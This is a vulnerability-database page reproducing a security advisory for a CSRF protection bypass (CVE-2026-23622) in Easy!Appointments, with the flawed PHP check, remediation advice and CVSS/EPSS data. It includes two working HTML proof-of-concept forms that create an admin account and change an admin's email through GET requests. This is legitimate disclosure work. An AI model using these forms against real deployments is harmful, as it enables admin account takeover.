CVE-2026-23622 — Vulnerability in alextselegidis/ea…pointments
alextselegidis/easyappointments is Vulnerable to CSRF Protection Bypass
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.27%). Schedule for your next planned update.
Does your project use an affected alextselegidis/easyappointments version?
Paste your composer.lock to check it for CVE-2026-23622 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
application/core/EA_Security.php::csrf_verify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover
Details
- Repository / tested commit:
alextselegidis/easyappointments— commit41c9b93a5a2c185a914f204412324d8980943fd5. - Vulnerable file & function:
application/core/EA_Security.php::csrf_verify()— around line 52. Link:.../application/core/EA_Security.php#L52. - Root cause: The function early-returns when the request is not
POST:
// vulnerable snippet
if (strtoupper($_SERVER['REQUEST_METHOD']) !== 'POST') {
return $this->csrf_set_cookie();
}
Because of this, non-POST requests (GET/PUT/DELETE/etc.) never reach token validation. When application controllers accept state-changing parameters via GET or $_REQUEST, these requests bypass CSRF checks entirely and the application executes the state change.
-
Examples of vulnerable endpoints (observed during testing):
index.php/admins/store— create admin (accepts fields via GET)index.php/admins/update— modify admin (accepts fields via GET)index.php/account/save— modify account/password (accepts fields via GET)
-
Why this is critical: An attacker can host a simple page that issues requests (e.g.,
<form method="GET" action="...">or an auto-submitting form). If an authenticated admin visits that page, the attacker can create an admin account, change admin email, or change password—enabling account takeover and full compromise of the application instance.
PoC
I will attach video proof showing how I add an admin via CSRF. Below are reproducible PoC artifacts and steps to reproduce locally
https://github.com/user-attachments/assets/3fea1034-c479-43d9-9c40-86f8ba0b33c1
Browser PoC (HTML)
Save one of the HTML files (example csrf_add_admin_account.html) on an attacker server and visit it with a browser where the admin is logged into Easy!Appointments:
<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/store">
<input type="hidden" name="admin[first_name]" value="admin_add_by_csrf">
<input type="hidden" name="admin[last_name]" value="poc">
<input type="hidden" name="admin[email]" value="poc@gmail.com">
<input type="hidden" name="admin[mobile_number]" value="">
<input type="hidden" name="admin[phone_number]" value="0923092">
<input type="hidden" name="admin[address]" value="">
<input type="hidden" name="admin[city]" value="">
<input type="hidden" name="admin[state]" value="">
<input type="hidden" name="admin[zip_code]" value="">
<input type="hidden" name="admin[notes]" value="">
<input type="hidden" name="admin[language]" value="english">
<input type="hidden" name="admin[timezone]" value="UTC">
<input type="hidden" name="admin[settings][username]" value="admincsrf1">
<input type="hidden" name="admin[settings][notifications]" value="1">
<input type="hidden" name="admin[settings][calendar_view]" value="table">
<input type="hidden" name="admin[settings][password]" value="changeme">
<input type="submit" value="Submit request">
</form>
</body>
</html>
another example for another endpoint
csrf_change_admin_email.html
<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/update">
<input type="hidden" name="admin[first_name]" value="test">
<input type="hidden" name="admin[last_name]" value="cve">
<input type="hidden" name="admin[email]" value="test1@cve.com">
<input type="hidden" name="admin[mobile_number]" value="">
<input type="hidden" name="admin[phone_number]" value="0101900">
<input type="hidden" name="admin[address]" value="">
<input type="hidden" name="admin[city]" value="">
<input type="hidden" name="admin[state]" value="">
<input type="hidden" name="admin[zip_code]" value="">
<input type="hidden" name="admin[notes]" value="">
<input type="hidden" name="admin[language]" value="english">
<input type="hidden" name="admin[timezone]" value="UTC">
<input type="hidden" name="admin[settings][username]" value="testn">
<input type="hidden" name="admin[settings][notifications]" value="1">
<input type="hidden" name="admin[settings][calendar_view]" value="default">
<input type="hidden" name="admin[id]" value="1">
<input type="submit" value="Submit request">
</form>
</body>
</html>
Suggested remediation (recommended)
Provide two practical remediation paths mmediate and long-term:
Immediate (urgent, low-effort): Enforce CSRF checks for all methods and do not skip validation for non-POST. Minimal core fix:
This closes the common bypass route while keeping read-only GET behavior intact.
Stricter immediate option (no-bypass): Require a valid CSRF token for all methods (including GET) unless the URI is explicitly whitelisted in csrf_exclude_uris. This prevents GET-based bypass even if controllers remain unchanged but may require updates to legitimate GET consumers.
Long-term (recommended, correct fix):
- Controller hardening: Update controllers so all state-changing actions accept only the proper HTTP method (POST/PUT/DELETE) .
- Require re-authentication or confirmation for critical operations (email/password changes).
- Set cookie flags:
SameSite,Secure, andHttpOnlyas appropriate.
Impact
- Type: Cross-Site Request Forgery (CSRF) allowing account takeover / privilege escalation.
- Who is impacted: Any deployment of Easy!Appointments using the vulnerable code where administrative or sensitive endpoints accept GET or use
$_REQUEST(what i found is almost every endpoint work with GET and POST). Logged-in administrator users are at greatest risk. - Consequences: An attacker can create administrative accounts, change administrator emails/passwords (leading to password reset abuse), and fully compromise application instances and data.
Advisory Timeline
- First published January 15, 2026 (315 days ago).
- Last revised February 3, 2026 — 18 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| alextselegidis/easyappointments Packagist · Affected: 1.1.0, 1.1.0-beta.1, 1.1.0-beta.2, 1.1.1 (+20 more) | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-352Cross-Site Request Forgery (CSRF)MITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
References
- https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrjWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-23622ADVISORY
- https://github.com/alextselegidis/easyappointmentsPACKAGE
- https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52WEB
Frequently Asked Questions
- What is CVE-2026-23622?
- alextselegidis/easyappointments is Vulnerable to CSRF Protection Bypass. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
- How do I check if my project is affected by CVE-2026-23622?
- CVE-2026-23622 affects alextselegidis/easyappointments. It has a 0.3% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-23622 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 11.9% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2023-1269CRITICAL
Easy!Appointments uses hard-coded credentials
- CVE-2024-57602CRITICAL
Easy!Appointments Improper Restriction of Excessive Authentication Attempts
- CVE-2026-103035HIGH
TeamPass folder re-parenting authorization bypass
- CVE-2026-110782HIGH
SAML2: Incomplete fix of CVE-2026-49283: unsigned embedded Response bypasses HTTP-Artifact signature verification (no embedded-Issuer binding)